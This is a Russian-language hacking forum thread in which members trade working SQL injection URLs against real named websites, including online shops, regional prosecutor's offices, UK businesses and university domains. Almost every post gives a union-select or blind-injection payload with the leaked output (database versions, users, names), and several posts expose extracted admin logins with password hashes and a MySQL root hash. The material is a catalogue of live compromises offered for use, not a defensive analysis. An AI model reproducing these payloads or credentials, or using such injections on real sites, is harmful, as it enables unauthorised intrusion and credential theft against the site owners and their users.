SQL Инъекции

Discussion in 'Уязвимости' started by m0nzt3r, 4 Jul 2006.

Thread Status:
Not open for further replies.
  1. Assembler

    Assembler Elder - Старейшина

    Joined:
    1 Sep 2007
    Messages:
    173
    Likes Received:
    102
    Reputations:
    23
    Code:
    http://prosto-kredit.ru
    PR: 1
    Тиц: 0
    Версия: 5.0.45
    База данных: prostokreditru
    Юзверь: prostokreditru@localhost
    Code:
    http://www.prosto-kredit.ru/next.php?id=1&rid=3%20union%20select%201,2--
     
    1 person likes this.
  2. R1dex

    R1dex Elder - Старейшина

    Joined:
    17 Sep 2008
    Messages:
    255
    Likes Received:
    132
    Reputations:
    19
    Мир Мобил

    Code:
    http://www.mir-mobil.ru/?cat=1518'+and+substring(version(),1,1)=5/*
     
  3. AkyHa_MaTaTa

    AkyHa_MaTaTa Elder - Старейшина

    Joined:
    19 Mar 2007
    Messages:
    557
    Likes Received:
    306
    Reputations:
    27
    www.selec.ru pr-3 ТиЦ - 1100
    PHP:
    http://www.selec.ru/?group_id=63+union+select+1,2,concat_ws(0x3A,user(),user,password,host,file_priv),4,5,6+from+mysql.user+--+
     
    2 people like this.
  4. R1dex

    R1dex Elder - Старейшина

    Joined:
    17 Sep 2008
    Messages:
    255
    Likes Received:
    132
    Reputations:
    19
    Канал «Ночной клуб»

    Code:
    http://www.nclub.tv/index.php?a=129+and+ascii(substring((select+user+from+site_userlist+limit+4,1),1,1))%3E1
    nclub:ac1735cfce2ccf23db3a17c55259ad10
    nclubeditor:63e10def43966f36d767f61d0b92c37c
    ______________________________________

    Канал «Телепутешествия»

    Code:
    http://www.teletravel.tv/index.php?a=205+and+ascii(substring((select+user+from+site_userlist+limit+6,1),1,1))%3E1
    ______________________________________

    "РИМ" - интернет-магазин бытовой техники и электроники

    Code:
    http://www.rim-shop.ru/index.php?cat=20'+and+substring(version(),1,1)=5--+
    ______________________________________

    Продажа Недвижимости в Тайланде

    Code:
    http://2-thai.ru/card/?num=55+and+substring(version(),1,1)=5--&sch=2&val=%F0%F3%E1&pg=1
     
    1 person likes this.
  5. -m0rgan-

    -m0rgan- Elder - Старейшина

    Joined:
    29 Sep 2008
    Messages:
    514
    Likes Received:
    170
    Reputations:
    17
    Вот сново небольшой сбор скулей от меня :)
    На этот раз пройдемся по доменной зоне co.uk!


    www.solutionfocusedtrainers.co.uk

    PR:2


    Code:
    http://www.solutionfocusedtrainers.co.uk/trainers.php?id=-1+union+all+select+0,concat_ws(version(),user(),database()),2,3,4,5,6--
    Юзер/версия/бд:

    ------------------------------------------------------------------


    www.mynhw.co.uk

    PR:4


    Code:
    http://www.mynhw.co.uk/news-full.php?id=-1+union+all+select+0,1,concat_ws(version(),user(),database()),3,4,5,6,7,8,9--
    Юзер/версия/бд:

    ----------------------------------------------------------------

    www.ccsrecruitment.co.uk

    PR:1


    Code:
    http://www.ccsrecruitment.co.uk/newsdetail.php?id=-1+union+all+select+0,1,2,3,4,5,6,concat_ws(version(),user(),database()),8,9--
    Юзер/версия/бд:

    ----------------------------------------------------------------

    www.judgement-productions.co.uk

    PR:4


    Code:
    http://www.judgement-productions.co.uk/show.php?id=-1+union+all+select+0,1,2,concat_ws(version(),user(),database())--
    Юзер/версия/бд:

    ------------------------------------------------------------

    www.c8imc.co.uk

    PR:1


    Code:
    http://www.c8imc.co.uk/news.php?id=-1+union+all+select+0,1,concat_ws(version(),user(),database()),3,4,5--
    Юзер/версия/бд:

    ---------------------------------------------------------

    www.positivestepstraining.co.uk

    PR:2


    Code:
    http://www.positivestepstraining.co.uk/website.php?id=-1+union+all+select+0,1,2,3,4,5,6,7,8,9,10,concat_ws(version(),user(),database())--
    Юзер/версия/бд:

    Code:
    evolvenetroottwo@server213-171-192-98.livedns.org.uk5.0.45evolvenetmainsqltwo
    ---------------------------------------------------------------------

    Вот самый интерестный!!!!11111

    www.vogueescorts.co.uk

    PR:1


    Code:
    http://www.vogueescorts.co.uk/main.php?id=-255+union+select+1,2,3--
    --------------------------------------------------------------------
    The End!
     
    #8045 -m0rgan-, 2 Mar 2009
    Last edited by a moderator: 2 Mar 2009
    2 people like this.
  6. R1dex

    R1dex Elder - Старейшина

    Joined:
    17 Sep 2008
    Messages:
    255
    Likes Received:
    132
    Reputations:
    19
    Национальная база данных электронной идентификации

    Code:
    http://russiapet.net/index.php?page=-3'+union+select+1,2,version(),4,5,6,7,8,9,0,11,12--+&lang=ru
    __________________________________________

    Прокуратура Воронежской области - официальный сайт

    Code:
    http://www.prokuratura-vrn.ru/main.php?month=03-2009&getnews=20090302'+and+substring(version(),1,1)=5/*
    __________________________________________

    Прокуратура Астраханской области - официальный сайт

    HTML:
    http://www.astrprok.ru/?month=03-2009&getnews=20090302'+and+substring(version(),1,1)=5--+
     
    1 person likes this.
  7. S0ulVortex

    S0ulVortex Elder - Старейшина

    Joined:
    18 Nov 2007
    Messages:
    161
    Likes Received:
    85
    Reputations:
    10
    www.chiminellocatering.com PR=3

    Code:
    http://www.chiminellocatering.com/news.php?ax=v&n=10&id=10&nid=-3+union+select+1,concat_ws(version(),user(),database()),3,4,5--

    version: 4.1.22-standard-log
    user: chiminel_admin@localhost
    database: chiminel_cms


    --------------------------------------------------------------

    www.warrenbaerg.com PR=4


    Code:
    http://www.warrenbaerg.com/news.php?ax=v&n=11&id=11&nid=-3+union+select+1,concat_ws(version(),user(),database()),3,4,5--

    version: 4.1.22-standard-log
    user: warrenba_user@localhost
    database: warrenba_cms
     
    2 people like this.
  8. VITАL

    VITАL Elder - Старейшина

    Joined:
    19 Aug 2008
    Messages:
    1
    Likes Received:
    25
    Reputations:
    10
    Usc.edu
    Bioen.utah.edu
    Siue.edu
    W2.byuh.edu
    Stir.sterling.edu
     
    #8048 VITАL, 2 Mar 2009
    Last edited: 2 Mar 2009
    1 person likes this.
  9. Gorev

    Gorev Level 8

    Joined:
    31 Mar 2006
    Messages:
    2,551
    Likes Received:
    1,259
    Reputations:
    274
    http://www.attasport.eu/ro/index.php?pg=8001&t=-31+union+select+1,concat_ws(0x3a,version(),database(),user()),3,4,5,6,7


    Database Version: 4.1.22-standard
    Database name: attasp_bazis
    User name: attasp_zootyo@localhost
     
  10. f1ng3r

    f1ng3r [забытый полк]

    Joined:
    14 Jan 2009
    Messages:
    529
    Likes Received:
    413
    Reputations:
    256
    Code:
    http://www.ultrastar.ru/?part=news&newsid=-1+union+select+1,2,3,4,5,6,7,8,9,concat_ ws(0x3a,version(),database(),user()),11,12,13--

    Database Version : 5.0.41
    Database name : catalog_gsm
    User name : webuser@localhos


    админ:

    Code:
    http://www.ultrastar.ru/?part=news&newsid=-1+union+select+1,2,3,4,5,6,7,8,9,concat _ws(0x3a,login,passw ord),11,12,13+from+daso_users+limit+0,1--
    Code:
    admin:616f658931beab92a5316727ee9b1ab8
     
    1 person likes this.
  11. AkyHa_MaTaTa

    AkyHa_MaTaTa Elder - Старейшина

    Joined:
    19 Mar 2007
    Messages:
    557
    Likes Received:
    306
    Reputations:
    27
    www.poimai.ru pr-4 ТиЦ - 230
    PHP:
    http://www.poimai.ru/catalog/oruzhie/ohotnich_i_nozhi/?id=12195+union+select+1,2,3,concat_ws(0x3A,user,password,host,file_priv),5,6,7,8,9,10,11,12,13,14,15,16,17+from+mysql.user+--+&target=nw
    root@localhost:root:2fbdcd157a5fb159:localhost:Y
     
  12. f1ng3r

    f1ng3r [забытый полк]

    Joined:
    14 Jan 2009
    Messages:
    529
    Likes Received:
    413
    Reputations:
    256
    Code:
    http://shintorgservis.ru/index.php?GID=1+union+select+1,2,concat _ws(0x3a,version(),database(),user()),4,5,6,7,8,9,10,11,12,13,14,15,16--
    Database Version : 4.0.27-log
    Database name : shintorg
    User name : [email protected]


    ----------------------------------------------------+

    Code:
    http://www.pilotmaster.ru/news.php?item_id=-1+union+select+1,2,version (),4,5,6--
    Database Version : 5.0.67
    Database name : pilotmaster
    User name : pilotmaster@localhost
     
  13. Gorev

    Gorev Level 8

    Joined:
    31 Mar 2006
    Messages:
    2,551
    Likes Received:
    1,259
    Reputations:
    274
    http://www.oxo.ro/index.php?action=levelbrowser&dir_id=-649+union+select+1,unhex(hex(concat_ws(0x3a,version(),database(),user()))),3,4--&SID=

    Database Version: 4.1.9-standard
    Database name: test1
    User name: steph@localhost
     
    1 person likes this.
  14. yarbabin

    yarbabin HACKIN YO KUT

    Joined:
    21 Nov 2007
    Messages:
    1,663
    Likes Received:
    916
    Reputations:
    363
    Code:
    http://metalmir.ru/articles/sn.php?id=-53+union+select+1,version(),3,4,5,6,7
    тиц: 20
    5.0.67-log

    Code:
    http://avtomatpro.info/articles/sn.php?id=-269+union+select+1,version(),3,4,5,6,7
    тиц: 40
    5.0.67-log

    Code:
    http://masteroff.ru/articles/sn.php?id=-120+union+select+1,version(),3,4,5,6,7
    тиц: 40
    5.0.67-log
     
    _________________________
    3 people like this.
  15. AkyHa_MaTaTa

    AkyHa_MaTaTa Elder - Старейшина

    Joined:
    19 Mar 2007
    Messages:
    557
    Likes Received:
    306
    Reputations:
    27
    Klarnet CMS, вроде нигде не нашел этой уязвимости, хотя это трудно назвать какой то упорядоченой CMS, скорей Klarnet framework:
    PHP:
    http://www.klarnet.ru/clients/projects/?spheres_id=1+union+select+concat(0x223e3c2f613e2d2d2d3e,table_name,0x3D3E,COLUMN_NAME,0x3c62723e3c613e3c212d2d2d2d),2,3,4+from+INFORMATION_SCHEMA.COLUMNS+where+table_schema+not+in+(0x696e666f726d6174696f6e5f736368656d61)/*
     
    1 person likes this.
  16. f1ng3r

    f1ng3r [забытый полк]

    Joined:
    14 Jan 2009
    Messages:
    529
    Likes Received:
    413
    Reputations:
    256
    Code:
    http://www.lkw-neva.ru/?mode=news&id=-1+union+select+1,2,3,4,concat_ ws(0x3a,versi on(),database(),user()),6,7,8--
    Database Version : 4.1.22-log
    Database name : wwwlkwnevaru
    User name : [email protected]


    -------------------------------------------------------+

    Code:
    http://www.starcom-ru.ru/info.phtml?n_id=-1+union+select+1,2,3,4,concat_ ws(0x3a,version(),database( ),user()),6,7,8,9,10,11--&r_id=26
    Database Version : 5.0.67-log
    Database name : u35285
    User name : [email protected]


    админ :

    Code:
    http://www.starcom-ru.ru/info.phtml?n_id=-1+union+select+1,2,3,4,concat_ws(0x3a,login,password),6,7,8,9,10,11+from+adm _users+limit+0,1--&r_id=26
    Code:
    star:950e35a2244603c495d408e849d3e1cf
     
    1 person likes this.
  17. yarbabin

    yarbabin HACKIN YO KUT

    Joined:
    21 Nov 2007
    Messages:
    1,663
    Likes Received:
    916
    Reputations:
    363
    Code:
    http://jfp.ru/articles/sn.php?id=-79+union+select+1,version(),3,4,5,6,7
    5.0.67-log
     
    _________________________
  18. Rubaka

    Rubaka Elder - Старейшина

    Joined:
    2 Sep 2007
    Messages:
    263
    Likes Received:
    150
    Reputations:
    28
    http://www.ictctech.com/category.php?cat=-1003+union+select+1,version(),3,4,5,6,7,8,9,user(),1,2,3,4,5,6,7,8/*

    version():4.1.21
    user():www-icavts@localhost
     
  19. f1ng3r

    f1ng3r [забытый полк]

    Joined:
    14 Jan 2009
    Messages:
    529
    Likes Received:
    413
    Reputations:
    256
    Code:
    http://www.rimeks.ru/index.php?town=&id=1&page=news&subid=527&year=2009&id_news=-1+union+select+1,2,3,concat _ws(0x3a,version(),database(),user()),5,6,7,8,9,10--
    Database Version : 5.0.41-log
    Database name : rimex
    User name : [email protected]


    юзвери :

    Code:
    http://www.rimeks.ru/index.php?town=&id=1&page=news&subid=527&year=2009&id_news=-1+union+select+1,2,3,concat_ws(0x3a,login,passwor d),5,6,7,8,9,10+from+login_base+limit+0,1--
    админ с форума :

    Code:
    http://www.rimeks.ru/index.php?town=&id=1&page=news&subid=527&year=2009&id_news=-1+union+select+1,2,3,concat_ ws(0x3a,username,user_password),5,6,7,8,9,10+from+p hpbb_users+limit+1,1--
    Code:
    rimex:e1ab56facf1c794b1eae74b3ad162f13
    -------------------------------------------------+

    Lada Audio :p

    Code:
    http://www.lada-audio.ru/site/press.php?id=-1+union+select+1,2,3,4,concat _ws(0x3a,version(),database(),user()),6,7,8--
    Database Version : 4.1.22-log
    Database name : wwwladaaudioru
    User name : ladaaudi@localhost
     
    1 person likes this.
  20. S0ulVortex

    S0ulVortex Elder - Старейшина

    Joined:
    18 Nov 2007
    Messages:
    161
    Likes Received:
    85
    Reputations:
    10
    www.fresno-restaurants.org


    Code:
    http://www.fresno-restaurants.org/news.php?ax=v&n=7&id=7&nid=-3+union+select+1,concat_ws(0x3a,version(),user(),database()),3,4,5--
    version: 4.1.22-standard-log
    user:fresnor2_user@localhost
    database:fresnor2_cms




    -------------------------------------------------------------



    www.roadrageperformance.com


    Code:
    http://www.roadrageperformance.com/news.php?ax=v&n=17&id=7&nid=-3+union+select+1,concat_ws(0x3a,version(),user(),database()),3,4,5--
    version: 4.1.22-standard
    user:roadrage_user@localhost
    database:roadrage_cms
     
    1 person likes this.
Thread Status:
Not open for further replies.